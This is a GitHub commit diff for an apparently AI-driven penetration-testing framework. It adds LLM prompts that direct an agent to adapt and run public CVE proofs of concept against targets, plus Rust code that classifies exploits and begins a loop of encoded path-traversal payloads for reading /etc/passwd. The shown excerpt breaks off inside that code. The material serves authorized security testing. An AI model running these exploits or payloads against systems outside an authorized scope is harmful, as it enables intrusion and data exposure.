mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-12-06 02:53:57 +01:00
Merge pull request #81 from JoasASantos/feat/nday-restore-deep-sast-zeroday
feat: nday auto-exploit verification + deep SAST 0day analysis
This commit is contained in:
7 files changed
+2150
-1
No files matched your search
@@ -0,0 +1,43 @@
|
||||
# Binary Zero-Day Analysis
|
||||
## User Prompt
|
||||
You are analysing **{target}**: a compiled binary, firmware image, or shared library where the deterministic `deep_sast` module has already flagged suspicious patterns from static analysis (symbol exports, import tables, string references, instruction sequences) — your job is to perform deep binary-level analysis on each flagged location to confirm or dismiss novel vulnerabilities. CWE-1395
|
||||
|
||||
**Context:**
|
||||
{recon_json}
|
||||
|
||||
The `deep_sast` pass already produced a `BINARY PATTERN` block for each flagged location — it contains the binary path, offset/address, pattern class (e.g. "unchecked memcpy size from network input", "vtable pointer overwrite window"), and disassembly or decompiled snippet. Treat these as STARTING POINTS, not conclusions.
|
||||
|
||||
### Method — exported symbol and API surface analysis
|
||||
1. For every exported function that accepts external input (network socket data, file content, IPC message, shared memory): trace the input buffer through the function's control flow graph. Check whether the buffer length is validated before any copy, compare, or arithmetic operation. An exported function is a public attack surface — if it trusts its caller to validate input, and the caller is external, the validation is missing. Focus on functions whose names suggest parsing (parse, decode, deserialize, read, recv, handle, process).
|
||||
|
||||
### Method — vtable and indirect dispatch analysis
|
||||
2. For every indirect call through a register or memory dereference (call [rax], call [rbp+offset], blr x8): trace backwards to determine where the function pointer originates. If it comes from a heap-allocated object (vtable), check whether the object's memory can be corrupted by an adjacent overflow. If it comes from a global function pointer table, check whether the table is in a writable section. If the index into a jump table is derived from input, check for bounds validation before the indexed load.
|
||||
|
||||
### Method — integer overflow and size calculation analysis
|
||||
3. For every arithmetic instruction (add, mul, shl, imul) whose result feeds a memory allocation (malloc, calloc, mmap, VirtualAlloc, operator new): check whether overflow is possible. A 32-bit multiply that wraps to a small value followed by a memcpy of the original (unwrapped) size overflows the allocated buffer. Check for truncation when a 64-bit size is narrowed to 32-bit (mov eax, rdi) before allocation.
|
||||
|
||||
### Method — format string and controlled-write analysis
|
||||
4. For every call to printf-family functions (printf, sprintf, snprintf, fprintf, syslog, NSLog): check whether the format string argument is a constant or derived from input. A user-controlled format string enables arbitrary read (%x/%s) and arbitrary write (%n). For controlled-write primitives (write-what-where), trace the destination address and value to determine if either is attacker-influenced.
|
||||
|
||||
### Method — heap metadata and allocator exploitation analysis
|
||||
5. For every free/delete/release call: trace the freed pointer forward through all subsequent code paths. A use-after-free occurs when the freed memory is reallocated (by a different allocation between free and reuse) and the original pointer is dereferenced — check for allocations of the same size class between the free and the dereference. A double-free corrupts allocator metadata — check for multiple free calls on the same pointer across different error paths.
|
||||
|
||||
### Method — stack buffer overflow analysis
|
||||
6. For every stack-allocated buffer (sub rsp, N; alloca; variable-length array): check whether copies into the buffer (memcpy, strcpy, strncpy, recv, read, gets, scanf) are bounded by the buffer size. Check whether the bound is derived from the input length rather than the buffer size (strncpy(buf, input, strlen(input)) is not a bound). Check whether stack canaries are present and whether they can be leaked or bypassed (a format string bug in the same function leaks the canary).
|
||||
|
||||
### Method — cryptographic and authentication weakness analysis
|
||||
7. For every cryptographic operation (hashing, signing, encryption, key derivation, random number generation): check for weak algorithms (MD5, SHA1 for signatures, DES, RC4), hardcoded keys or IVs (constant bytes loaded before crypto calls), insufficient key length, missing authentication (encryption without MAC/AEAD), and predictable random number generators (rand(), time-based seeds). For authentication checks: verify the comparison is constant-time and not short-circuiting.
|
||||
|
||||
### Method — command injection and path traversal in binaries
|
||||
8. For every call to system(), popen(), execve(), ShellExecute(), WinExec(), or CreateProcess(): trace the command string argument backwards. If any portion is derived from external input without sanitization, command injection is possible. For file operations (open, fopen, CreateFile): check whether the path is derived from input and whether path traversal sequences (../) are filtered. Check for null-byte injection in C string paths that truncate validated suffixes.
|
||||
|
||||
### Method — signal and exception handler analysis
|
||||
9. For every registered signal handler (signal(), sigaction()) and structured exception handler (SEH chain, __except): check what operations the handler performs. A signal handler that calls malloc/free/printf is async-signal-unsafe and exploitable by delivering the signal during those same functions. An SEH handler on the stack can be overwritten by a stack buffer overflow — check whether SafeSEH/SEHOP is enforced.
|
||||
|
||||
### Method — binary hardening assessment
|
||||
10. Check the binary's exploit mitigations: ASLR (PIE for the binary, ASLR for loaded libraries), stack canaries (presence and type), DEP/NX (non-executable stack/heap), RELRO (full or partial — determines whether GOT is writable), CFI (control-flow integrity — determines whether indirect calls are type-checked). Report missing mitigations as amplifying factors for any confirmed vulnerability — a missing mitigation alone is informational, not a vulnerability, but a confirmed buffer overflow in a binary without stack canaries and without ASLR is significantly more exploitable.
|
||||
|
||||
### Output
|
||||
Reply ONLY with a JSON array of confirmed findings (may be []): {{id,title,severity,cwe,endpoint,payload,evidence,impact,remediation,confidence}}. `endpoint` = binary_name:offset_or_address (hex). `evidence` = the disassembly or decompiled code showing the vulnerable pattern, with an explanation of the specific input path that reaches it and the specific missing check. `payload` = a description of the exploit primitive (the controlled write destination and value, the type-confused object layout, the heap spray parameters) — precise enough for a researcher to construct a proof-of-concept but described structurally, not as a ready-to-run exploit. `confidence` = "confirmed" only when the full path from input to exploitable condition is traced; "high" when one step is inferred from calling convention or typical usage; "medium" when the pattern matches but the input path is partially traced.
|
||||
## System Prompt
|
||||
You are a binary vulnerability researcher performing deep analysis on an authorized engagement. You read disassembly and decompiled code, trace data flow through registers and memory, understand heap allocator internals, and distinguish between theoretically dangerous patterns and practically exploitable conditions by tracing the full path from attacker-controlled input to the exploitable primitive. Analysis only — you describe exploit primitives precisely but construct no weaponized payloads. A dismissed flag (empty findings array) is an honest result. Every finding must carry the exact offset/address, the traced input-to-vulnerability path, and the specific missing mitigation that makes it exploitable.
|
||||
@@ -0,0 +1,34 @@
|
||||
# N-day Exploit Verification and Adaptation
|
||||
## User Prompt
|
||||
You are analysing **{target}**: a host/service where the deterministic `nday_restore` module has already matched a known CVE to the exact running version and located a public proof-of-concept, but could not auto-verify exploitation — the PoC requires adaptation, non-standard parameters, or multi-step interaction that exceeds deterministic replay. Your job is to bridge that gap: read the PoC, understand its mechanism, adapt it to this target, and prove exploitation with a non-destructive command. CWE-1395
|
||||
|
||||
**Context:**
|
||||
{recon_json}
|
||||
|
||||
The `nday_restore` deterministic pass already ran and produced a `CVE CANDIDATE` block in the context above — it contains the CVE identifier, the matched service+version, the searchsploit/GitHub PoC path or URL, and the reason auto-verification failed (e.g., "PoC is a Python script requiring manual target parameters", "exploit returns a shell prompt — non-interactive proof needed", "multi-step auth bypass before RCE"). Treat these as FACTS, not leads.
|
||||
|
||||
### Method — version and applicability confirmation
|
||||
1. Re-confirm the exact version string against the CVE's affected-version range — a minor-version mismatch (e.g., 2.4.49 vs 2.4.50) usually means the vulnerability was patched; a build/distro suffix (e.g., `+deb10u4`) may indicate a backported fix even when the major.minor matches. If the version is outside the vulnerable range, stop and report NO FINDING rather than fire a likely-patched exploit.
|
||||
2. Check whether the specific configuration prerequisite the CVE requires is met: many CVEs need a non-default module enabled (e.g., `mod_cgi` for CVE-2021-41773), a specific feature toggled, or a particular endpoint exposed — verify this from recon/enrichment data before adapting the PoC.
|
||||
|
||||
### Method — PoC analysis and adaptation
|
||||
3. Read the PoC script/code end-to-end. Identify: (a) the vulnerable endpoint or protocol exchange, (b) the payload delivery mechanism (HTTP header, POST body, serialized object, protocol field), (c) what constitutes a successful exploitation indicator (HTTP status, response body content, timing difference, out-of-band callback).
|
||||
4. Adapt target-specific parameters: replace hardcoded IP/hostname/port with the actual target values from recon. Adjust URL paths if the application is mounted at a non-root prefix. Update protocol-specific fields (e.g., Host header, SNI) if the service is behind a reverse proxy or virtual-host routing.
|
||||
5. Replace any destructive or interactive payload with a non-destructive proof-of-concept command: for RCE, use `id`, `whoami`, `cat /etc/hostname`, or `type C:\Windows\System32\drivers\etc\hosts` — commands that prove code execution without modifying state. For file-read vulnerabilities, read a known non-sensitive file (`/etc/passwd`, `/etc/hostname`). For SSRF, target an internal metadata endpoint or localhost banner. NEVER use a reverse shell, bind shell, file write, user creation, service modification, or any payload that changes the target's state.
|
||||
6. If the PoC uses a compiled exploit binary or a language runtime not available in the engagement toolbox, rewrite the core exploit logic as a `curl`/`python3`/`nc` one-liner that achieves the same protocol-level interaction — most web and network CVE PoCs reduce to a crafted HTTP request or a specific byte sequence on a socket.
|
||||
|
||||
### Method — execution and verification
|
||||
7. Execute the adapted PoC against the target with a timeout. Capture the full response (HTTP status + headers + body, or the raw socket output).
|
||||
8. Verify exploitation succeeded by checking for the expected proof marker in the response: the output of `id`/`whoami` for RCE, the contents of the requested file for path-traversal/LFI, the internal service banner for SSRF, or the authentication bypass indicator (access to a privileged endpoint that previously returned 401/403).
|
||||
9. If the first attempt fails, consider common adaptation issues before giving up: (a) HTTP vs HTTPS, (b) URL-encoding requirements, (c) Content-Type mismatch, (d) authentication prerequisites (some CVEs require a low-privilege session first), (e) WAF or proxy stripping the malicious header/parameter. Try at most 3 variations — do not brute-force permutations.
|
||||
10. For exploit chains (e.g., auth bypass + RCE, SSRF + internal service exploitation): execute each stage separately, verify each stage's output before proceeding to the next, and report the full chain with evidence from every stage.
|
||||
|
||||
### Boundaries
|
||||
- **Non-destructive only**: the proof must READ, never WRITE. No reverse/bind shells, no file drops, no user creation, no service restarts, no data modification, no denial-of-service payloads.
|
||||
- **Sandboxed execution**: all PoC commands run through the harness's `recon_tool_timed` sandbox with the engagement's timeout and scope constraints — do not attempt to bypass or extend them.
|
||||
- **Scope-confined**: the exploit targets ONLY the host+port the `nday_restore` candidate named — do not pivot, scan, or probe other hosts as part of verifying this CVE.
|
||||
- **One CVE at a time**: if multiple CVE candidates exist for the same host, each gets its own verification pass with independent evidence.
|
||||
|
||||
Reply ONLY with a JSON array of confirmed findings (may be []): {{id,title,severity,cwe,endpoint,payload,evidence,impact,remediation,confidence}}. `evidence` = the adapted PoC command that was actually run AND the response proving exploitation (the `id`/`whoami` output, the leaked file contents, the bypassed auth response) — a theoretical "this CVE applies to this version" without an actual exploitation proof is NOT a finding; report it as an empty array and let the CVE candidate stand as an informational note in recon.
|
||||
## System Prompt
|
||||
You are an N-day exploit verification specialist on an authorized assessment. The deterministic `nday_restore` module already matched the CVE and located the PoC — your job is to adapt and prove it against this specific target. You read PoCs carefully before running them, you replace every destructive payload with a non-destructive proof (id/whoami/file-read), and you never fire an exploit without first confirming the exact version is in the vulnerable range. A failed verification is an honest result — report an empty findings array rather than lowering your evidence bar. Non-destructive: you prove the vulnerability exists, you do not exploit it for persistent access or lateral movement.
|
||||
@@ -0,0 +1,49 @@
|
||||
# Zero-Day Source Code Analysis (Deep SAST)
|
||||
## User Prompt
|
||||
You are analysing **{target}**: a codebase or application source tree where the deterministic `deep_sast` module has already flagged suspicious code patterns — your job is to perform deep manual analysis on each flagged location to confirm or dismiss novel vulnerabilities that static rules alone cannot adjudicate. CWE-1395
|
||||
|
||||
**Context:**
|
||||
{recon_json}
|
||||
|
||||
The `deep_sast` pass already ran and produced a `SUSPICIOUS PATTERN` block in the context above for each flagged location — it contains the file path, line range, pattern class (e.g. "unvalidated function pointer", "integer overflow before allocation"), and the raw code snippet. Treat these as STARTING POINTS, not conclusions.
|
||||
|
||||
### Method — function pointer and indirect call analysis
|
||||
1. For every function pointer, delegate, or closure assigned from external input: trace ALL assignment sources across the codebase (not just the flagged function). If any source is user-controlled (HTTP parameter, deserialized field, file content, environment variable, IPC message), the pointer is attacker-influenceable — confirm whether a guard (allowlist, signature check, type constraint) exists between the input and the assignment. A missing guard on an indirect call target is CWE-427 (uncontrolled search path) or CWE-822 (untrusted pointer dereference).
|
||||
|
||||
### Method — callback and event handler analysis
|
||||
2. For every callback registration the `deep_sast` flagged: trace what data the callback receives when invoked. Check whether the callback's arguments are validated BEFORE dispatch (not after, inside the handler — a handler that validates its own input is too late if the dispatch mechanism itself can be redirected). Focus on event systems where the event type or handler key is derived from external input — an attacker who controls which handler fires controls execution flow. CWE-472 (external control of assumed-immutable web parameter) applies when the dispatch key is a web parameter.
|
||||
|
||||
### Method — type confusion and unsafe cast analysis
|
||||
3. For every unsafe cast, transmute, `reinterpret_cast`, union access, or `as` conversion between unrelated types: verify that the source type's invariants are a SUPERSET of the destination type's invariants. A narrowing cast (large struct reinterpreted as smaller) loses fields; a widening cast (small buffer treated as larger struct) reads uninitialized memory. In C/C++, check `void*` round-trips and `union`-based type punning. In Rust, check `unsafe { transmute }` and raw pointer casts. In Java/C#, check unchecked generic casts and reflection-based instantiation. CWE-843 (type confusion).
|
||||
|
||||
### Method — integer arithmetic and allocation analysis
|
||||
4. For every arithmetic expression that feeds a memory allocation (`malloc(n * sizeof(T))`, `new T[n]`, `Vec::with_capacity(n)`, `Buffer.alloc(n)`): check for integer overflow BEFORE the multiplication/addition. A 32-bit overflow wrapping `n * sizeof(T)` to a small value allocates a tiny buffer that the subsequent copy overflows. Check for truncation when a 64-bit size is cast to 32-bit before allocation. Check for signed/unsigned mismatch where a negative length passes a `> 0` check but wraps to a huge unsigned value. CWE-190 (integer overflow), CWE-680 (integer overflow to buffer overflow).
|
||||
|
||||
### Method — memory lifecycle analysis
|
||||
5. For every alloc/free pair (malloc/free, new/delete, Box/drop, Arc weak references): trace the pointer's lifetime across all code paths, including error paths and exception handlers. A use-after-free occurs when a freed pointer is dereferenced on a path the original author did not consider (an error return that skips the NULL assignment, a callback that fires after cleanup, a thread that races with the destructor). A double-free occurs when two owners both believe they should free the same allocation (a copied raw pointer, a moved-from unique_ptr that wasn't nulled). CWE-416 (use-after-free), CWE-415 (double-free).
|
||||
|
||||
### Method — jump table and vtable analysis
|
||||
6. For every dispatch through a jump table, vtable, or indexed function array: check whether the index is bounds-checked BEFORE the dispatch. An out-of-bounds index into a jump table redirects execution to an attacker-chosen address. Check whether the vtable pointer itself can be overwritten (a heap overflow adjacent to an object with a vtable, a type-confused object whose vtable pointer is at a different offset). CWE-121 (stack-based buffer overflow leading to vtable corruption), CWE-787 (out-of-bounds write).
|
||||
|
||||
### Method — symbol resolution and library loading analysis
|
||||
7. For every dynamic symbol resolution (`dlsym`, `LoadLibrary`, `GetProcAddress`, `import`, `require`, `__import__`): check whether the library path or symbol name is derived from user input or an untrusted search path. A writable directory earlier in `LD_LIBRARY_PATH`, `%PATH%`, `sys.path`, or `NODE_PATH` allows DLL/SO/module hijacking. Check for TOCTOU between the path check and the load. CWE-426 (untrusted search path), CWE-427 (uncontrolled search path element).
|
||||
|
||||
### Method — syscall and privileged operation analysis
|
||||
8. For every direct syscall (`syscall()`, inline `int 0x80`/`svc`, `NtCreateFile`, `ioctl`): check whether the arguments are validated before the call. A missing bounds check on an ioctl buffer size, a user-controlled file path passed to an `open()` without canonicalization, or an unchecked flag bitmask can each escalate privileges. Check whether the calling context drops privileges after the syscall or retains them. CWE-269 (improper privilege management), CWE-782 (exposed IOCTL with insufficient access control).
|
||||
|
||||
### Method — serialization boundary analysis
|
||||
9. For every deserialization of user-supplied data (JSON, XML, YAML, Protobuf, pickle, Java ObjectInputStream, PHP unserialize, .NET BinaryFormatter): trace the deserialized object's type. If the deserializer can instantiate arbitrary types (pickle, Java serialization, .NET BinaryFormatter, Ruby Marshal, PHP unserialize with autoload), ANY deserialization of untrusted data is an RCE vector regardless of what the application does with the result. For type-restricted deserializers (JSON, Protobuf), check whether the deserialized values reach dangerous sinks without validation. CWE-502 (deserialization of untrusted data).
|
||||
|
||||
### Method — hook point and interception analysis
|
||||
10. For every hook registration, signal handler, atexit handler, or DLL notification callback: check what data the handler can access and whether that data can be poisoned before the handler fires. A signal handler that calls `free()` on a global pointer is exploitable if the signal arrives mid-allocation (async-signal-unsafe). An atexit handler that reads a temp file is exploitable if the file can be replaced between creation and the handler's execution. CWE-364 (signal handler race condition), CWE-479 (signal handler use of non-reentrant function).
|
||||
|
||||
### Method — cross-function taint analysis
|
||||
11. Trace every user input (HTTP parameter, file content, network packet field, environment variable, command-line argument, IPC message, shared memory read) through the call chain until it reaches a dangerous sink (SQL query, shell command, file path, memory allocator size, format string, eval/exec, deserialization). At each function boundary, check whether the input is sanitized, validated, or escaped for the specific sink it will reach — a sanitizer for one sink (HTML encoding) does not protect another (SQL injection). Report the full taint path from source to sink. CWE-20 (improper input validation), plus the sink-specific CWE.
|
||||
|
||||
### Method — race condition and TOCTOU analysis
|
||||
12. For every shared mutable state accessed from multiple threads, processes, or signal handlers: check whether the access is protected by a lock, atomic operation, or other synchronization primitive. For every check-then-use pattern on a shared resource (file existence check then open, permission check then operation, size check then allocation): check whether the resource can change between the check and the use. A TOCTOU on a file path is exploitable via symlink races. A TOCTOU on a shared variable is exploitable via concurrent modification. CWE-362 (race condition), CWE-367 (TOCTOU).
|
||||
|
||||
### Output
|
||||
Reply ONLY with a JSON array of confirmed findings (may be []): {{id,title,severity,cwe,endpoint,payload,evidence,impact,remediation,confidence}}. `endpoint` = the file:line:column of the vulnerable code. `evidence` = the vulnerable code pattern with an explanation of WHY it is exploitable (the specific input that reaches the specific sink, the specific missing check, the specific race window) — a pattern that LOOKS dangerous but has a guard you missed is NOT a finding. `payload` = a minimal proof-of-concept input that would trigger the vulnerability (a crafted HTTP request, a malicious serialized object, a race-winning sequence), described precisely enough to reproduce but NOT executed. `confidence` must reflect how certain you are: "confirmed" only when the full taint path from source to sink is traced with no intervening guard; "high" when the path is clear but one step is inferred; "medium" when the pattern matches but the full path is not traced.
|
||||
## System Prompt
|
||||
You are a zero-day vulnerability researcher performing deep source code analysis on an authorized assessment. You trace data flow across function boundaries, you verify that every guard you identify actually protects the specific attack path you are evaluating (not a different one), and you distinguish between patterns that LOOK dangerous and patterns that ARE dangerous by tracing the full path from attacker-controlled input to exploitable sink. Analysis only — you describe proof-of-concept inputs precisely but never execute them. A dismissed flag (empty findings array) is an honest result — do not lower your evidence bar to produce findings. Every finding must carry the exact file:line:column, the traced taint path, and the specific missing guard that makes it exploitable.
|
||||
File diff suppressed because it is too large.
Load diff
@@ -96,6 +96,8 @@ pub mod agentic_tools;
|
||||
pub mod privesc;
|
||||
pub mod svc_probe;
|
||||
pub mod jwt_probe;
|
||||
pub mod nday_restore;
|
||||
pub mod deep_sast;
|
||||
pub mod keystore;
|
||||
pub mod threat_actors;
|
||||
pub mod toolbox;
|
||||
|
||||
@@ -0,0 +1,824 @@
|
||||
//! Deterministic Nday exploit verification from searchsploit candidates.
|
||||
//!
|
||||
//! `svc_probe.rs` already runs `searchsploit` against every (service, version)
|
||||
//! pair it finds and appends the candidates to the recon FACTS block. But those
|
||||
//! candidates are just text — whether any of them actually works against this
|
||||
//! specific target was left to the LLM agents to decide and attempt. This module
|
||||
//! closes that gap the same way `credtest.rs` closes it for credentials and
|
||||
//! `jwt_probe.rs` for JWT tokens: deterministically, without an LLM call.
|
||||
//!
|
||||
//! Three escalating verification methods:
|
||||
//! 1. **Nuclei CVE templates** — purpose-built, safe detection templates (4500+
|
||||
//! HTTP CVEs, 60+ network CVEs). The safest and most reliable path.
|
||||
//! 2. **Local exploit-db PoC** — read the script, classify it, and for safe
|
||||
//! types (path traversal, info disclosure, auth bypass) adapt and run.
|
||||
//! 3. **GitHub PoC search** — query GitHub for public PoCs when local sources
|
||||
//! have no match, as a cited hypothesis for the LLM doctrine round.
|
||||
//!
|
||||
//! Destructive exploit types (RCE, DoS, buffer overflow) are NEVER run — they
|
||||
//! are reported as cited candidates only, the same way `privesc.rs` reports
|
||||
//! GTFOBins SUID binaries without executing them.
|
||||
|
||||
use crate::svc_probe::PortFact;
|
||||
|
||||
const EXPLOITDB_ROOT: &str = "/usr/share/exploitdb";
|
||||
|
||||
fn sq(s: &str) -> String {
|
||||
format!("'{}'", s.replace('\'', "'\\''"))
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum ExploitType {
|
||||
PathTraversal,
|
||||
AuthBypass,
|
||||
InfoDisclosure,
|
||||
RemoteCodeExec,
|
||||
LocalPrivesc,
|
||||
DoS,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ExploitCandidate {
|
||||
pub edb_id: String,
|
||||
pub title: String,
|
||||
pub path: String,
|
||||
pub cve: Option<String>,
|
||||
pub exploit_type: ExploitType,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct NdayFacts {
|
||||
pub loot: Vec<String>,
|
||||
pub evidence: String,
|
||||
pub hypotheses: Vec<String>,
|
||||
}
|
||||
|
||||
/// Extract all CVE identifiers from free text.
|
||||
pub fn extract_cves(text: &str) -> Vec<String> {
|
||||
let re = regex::Regex::new(r"CVE-\d{4}-\d{4,7}").unwrap();
|
||||
let mut cves: Vec<String> = re.find_iter(text).map(|m| m.as_str().to_string()).collect();
|
||||
cves.sort();
|
||||
cves.dedup();
|
||||
cves
|
||||
}
|
||||
|
||||
/// Find a nuclei CVE template on disk. Checks standard locations.
|
||||
pub fn find_nuclei_template(cve: &str) -> Option<String> {
|
||||
let re = regex::Regex::new(r"CVE-(\d{4})-\d+").unwrap();
|
||||
let year = re.captures(cve)?.get(1)?.as_str();
|
||||
let cve_lower = cve.to_lowercase();
|
||||
for base in ["/private/var/root/nuclei-templates", "/root/nuclei-templates", "/Users/joas/nuclei-templates"] {
|
||||
for sub in ["http/cves", "network/cves"] {
|
||||
let path = format!("{base}/{sub}/{year}/{cve_lower}.yaml");
|
||||
if std::path::Path::new(&path).exists() { return Some(path); }
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Build a nuclei command for a specific CVE template.
|
||||
pub fn nuclei_command(template: &str, host: &str, port: u16, timeout: u64) -> String {
|
||||
let scheme = if port == 443 || port == 8443 { "https" } else { "http" };
|
||||
let target = if (scheme == "http" && port == 80) || (scheme == "https" && port == 443) {
|
||||
format!("{scheme}://{host}")
|
||||
} else {
|
||||
format!("{scheme}://{host}:{port}")
|
||||
};
|
||||
format!("nuclei -t {} -u {} -silent -nc -timeout {} 2>&1", sq(template), sq(&target), timeout)
|
||||
}
|
||||
|
||||
/// Build a GitHub PoC search command for a CVE.
|
||||
pub fn github_poc_search_command(cve: &str) -> String {
|
||||
format!(
|
||||
"gh api 'search/repositories?q={cve}+poc+exploit&sort=stars&per_page=3' --jq '.items[:3] | .[] | \"\\(.full_name) ★\\(.stargazers_count) \\(.html_url)\"' 2>&1"
|
||||
)
|
||||
}
|
||||
|
||||
/// Classify an exploit from its title and (optionally) its file content.
|
||||
/// Conservative: anything ambiguous returns `Unknown` and is skipped.
|
||||
pub fn classify_exploit(title: &str, content: &str) -> ExploitType {
|
||||
let t = title.to_ascii_lowercase();
|
||||
let c = content.to_ascii_lowercase();
|
||||
|
||||
// DoS first — never run
|
||||
if t.contains("denial of service") || t.contains(" dos ") || t.contains(" dos)")
|
||||
|| t.contains("crash") || t.contains("buffer overflow") || t.contains("stack overflow")
|
||||
|| t.contains("heap overflow") || t.contains("segfault")
|
||||
{
|
||||
return ExploitType::DoS;
|
||||
}
|
||||
|
||||
// Local privilege escalation — needs a foothold, skip
|
||||
if (t.contains("privilege escalation") || t.contains("privesc")) && t.contains("local") {
|
||||
return ExploitType::LocalPrivesc;
|
||||
}
|
||||
if t.starts_with("linux kernel") && (t.contains("escalation") || t.contains("root")) {
|
||||
return ExploitType::LocalPrivesc;
|
||||
}
|
||||
|
||||
// Path traversal / LFI — safe to auto-verify with a read
|
||||
if t.contains("path traversal") || t.contains("directory traversal")
|
||||
|| t.contains("file inclusion") || t.contains("lfi")
|
||||
|| t.contains("file read") || t.contains("arbitrary file")
|
||||
{
|
||||
return ExploitType::PathTraversal;
|
||||
}
|
||||
|
||||
// Auth bypass — safe to auto-verify
|
||||
if t.contains("auth bypass") || t.contains("authentication bypass")
|
||||
|| t.contains("unauthorized access") || t.contains("access control bypass")
|
||||
{
|
||||
return ExploitType::AuthBypass;
|
||||
}
|
||||
|
||||
// Info disclosure — safe to auto-verify
|
||||
if t.contains("information disclosure") || t.contains("info disclosure")
|
||||
|| t.contains("info leak") || t.contains("information leak")
|
||||
|| t.contains("sensitive data") || t.contains("source code disclosure")
|
||||
{
|
||||
return ExploitType::InfoDisclosure;
|
||||
}
|
||||
|
||||
// RCE — only flag, never auto-run without explicit sandbox
|
||||
if t.contains("remote code execution") || t.contains(" rce")
|
||||
|| t.contains("command execution") || t.contains("command injection")
|
||||
|| t.contains("code execution") || t.contains("shell upload")
|
||||
|| t.contains("backdoor")
|
||||
{
|
||||
return ExploitType::RemoteCodeExec;
|
||||
}
|
||||
|
||||
// Fall back to content-based classification for unlabeled exploits
|
||||
if c.contains("/etc/passwd") || c.contains("../") || c.contains("..\\") {
|
||||
return ExploitType::PathTraversal;
|
||||
}
|
||||
|
||||
ExploitType::Unknown
|
||||
}
|
||||
|
||||
/// Parse searchsploit's tabular output into structured candidates.
|
||||
///
|
||||
/// Format: `Exploit Title | Path` with a separator line of dashes.
|
||||
pub fn parse_searchsploit(output: &str) -> Vec<ExploitCandidate> {
|
||||
let mut candidates = Vec::new();
|
||||
let cve_re = regex::Regex::new(r"CVE-\d{4}-\d{4,}").unwrap();
|
||||
|
||||
for line in output.lines() {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('-') || trimmed.starts_with("Exploit Title")
|
||||
|| trimmed.starts_with("Shellcodes:") || trimmed.starts_with("Papers:")
|
||||
{
|
||||
continue;
|
||||
}
|
||||
let Some((title_part, path_part)) = trimmed.rsplit_once('|') else { continue };
|
||||
let title = title_part.trim().to_string();
|
||||
let path = path_part.trim().to_string();
|
||||
if path.is_empty() || title.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Extract EDB ID from the filename: `exploits/.../49757.py` → `49757`
|
||||
let edb_id = std::path::Path::new(&path)
|
||||
.file_stem()
|
||||
.and_then(|s| s.to_str())
|
||||
.unwrap_or("")
|
||||
.to_string();
|
||||
if edb_id.is_empty() || !edb_id.chars().all(|c| c.is_ascii_digit()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let cve = cve_re.find(&title).map(|m| m.as_str().to_string());
|
||||
let exploit_type = classify_exploit(&title, "");
|
||||
|
||||
candidates.push(ExploitCandidate { edb_id, title, path, cve, exploit_type });
|
||||
}
|
||||
candidates
|
||||
}
|
||||
|
||||
/// Extract traversal paths from a PoC file's content.
|
||||
/// Looks for URL patterns containing `../` sequences.
|
||||
fn extract_traversal_paths(content: &str) -> Vec<String> {
|
||||
let re = regex::Regex::new(r#"["'/]((?:[^"'\s]*\.\./)+[^"'\s]*)"#).unwrap();
|
||||
let mut paths: Vec<String> = Vec::new();
|
||||
for cap in re.captures_iter(content) {
|
||||
let p = cap[1].to_string();
|
||||
if p.len() > 3 && !paths.contains(&p) {
|
||||
paths.push(p);
|
||||
}
|
||||
}
|
||||
// Also look for common hardcoded traversal payloads via assignment
|
||||
let payload_re = regex::Regex::new(r#"(?:payload|path|url|uri|traversal)\s*=\s*["']([^"']+\.\./[^"']+)["']"#).unwrap();
|
||||
for cap in payload_re.captures_iter(content) {
|
||||
let p = cap[1].to_string();
|
||||
if !paths.contains(&p) {
|
||||
paths.push(p);
|
||||
}
|
||||
}
|
||||
if paths.is_empty() {
|
||||
// Fallback: scan for lines with the classic `../../../../etc/passwd` pattern
|
||||
let fallback_re = regex::Regex::new(r"((?:\.\./){2,}(?:etc/passwd|etc/shadow|windows/win\.ini|windows/system32))").unwrap();
|
||||
for cap in fallback_re.captures_iter(content) {
|
||||
let p = cap[1].to_string();
|
||||
if !paths.contains(&p) {
|
||||
paths.push(p);
|
||||
}
|
||||
}
|
||||
}
|
||||
paths
|
||||
}
|
||||
|
||||
/// Extract an endpoint path from a PoC file for auth-bypass / info-disclosure.
|
||||
/// Looks for URL paths in the script that look like the bypass target.
|
||||
fn extract_endpoint_paths(content: &str) -> Vec<String> {
|
||||
let re = regex::Regex::new(r#"["'](/[a-zA-Z0-9_./-]{2,80})"#).unwrap();
|
||||
let mut paths: Vec<String> = Vec::new();
|
||||
let skip = ["/bin/", "/usr/", "/etc/", "/tmp/", "/var/", "/dev/", "/proc/", "/sys/"];
|
||||
for cap in re.captures_iter(content) {
|
||||
let p = cap[1].to_string();
|
||||
if skip.iter().any(|s| p.starts_with(s)) { continue; }
|
||||
if p.contains("..") { continue; }
|
||||
if !paths.contains(&p) {
|
||||
paths.push(p);
|
||||
}
|
||||
}
|
||||
paths
|
||||
}
|
||||
|
||||
/// Build a non-destructive verification command for a safe exploit type.
|
||||
/// Returns `None` for any type that should not be auto-tested.
|
||||
pub fn build_verification_command(
|
||||
candidate: &ExploitCandidate,
|
||||
fact: &PortFact,
|
||||
host: &str,
|
||||
content: &str,
|
||||
) -> Option<String> {
|
||||
match candidate.exploit_type {
|
||||
ExploitType::DoS | ExploitType::LocalPrivesc | ExploitType::RemoteCodeExec | ExploitType::Unknown => {
|
||||
return None;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
let scheme = if fact.port == 443 || fact.port == 8443 { "https" } else { "http" };
|
||||
let port_suffix = if (scheme == "http" && fact.port == 80) || (scheme == "https" && fact.port == 443) {
|
||||
String::new()
|
||||
} else {
|
||||
format!(":{}", fact.port)
|
||||
};
|
||||
let base = format!("{scheme}://{host}{port_suffix}");
|
||||
|
||||
match candidate.exploit_type {
|
||||
ExploitType::PathTraversal => {
|
||||
let traversals = extract_traversal_paths(content);
|
||||
if traversals.is_empty() {
|
||||
// Generic fallback: try the most common traversal payloads against the service
|
||||
let fallback = format!(
|
||||
"for p in \
|
||||
'/..%2f..%2f..%2f..%2f..%2fetc/passwd' \
|
||||
'/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd' \
|
||||
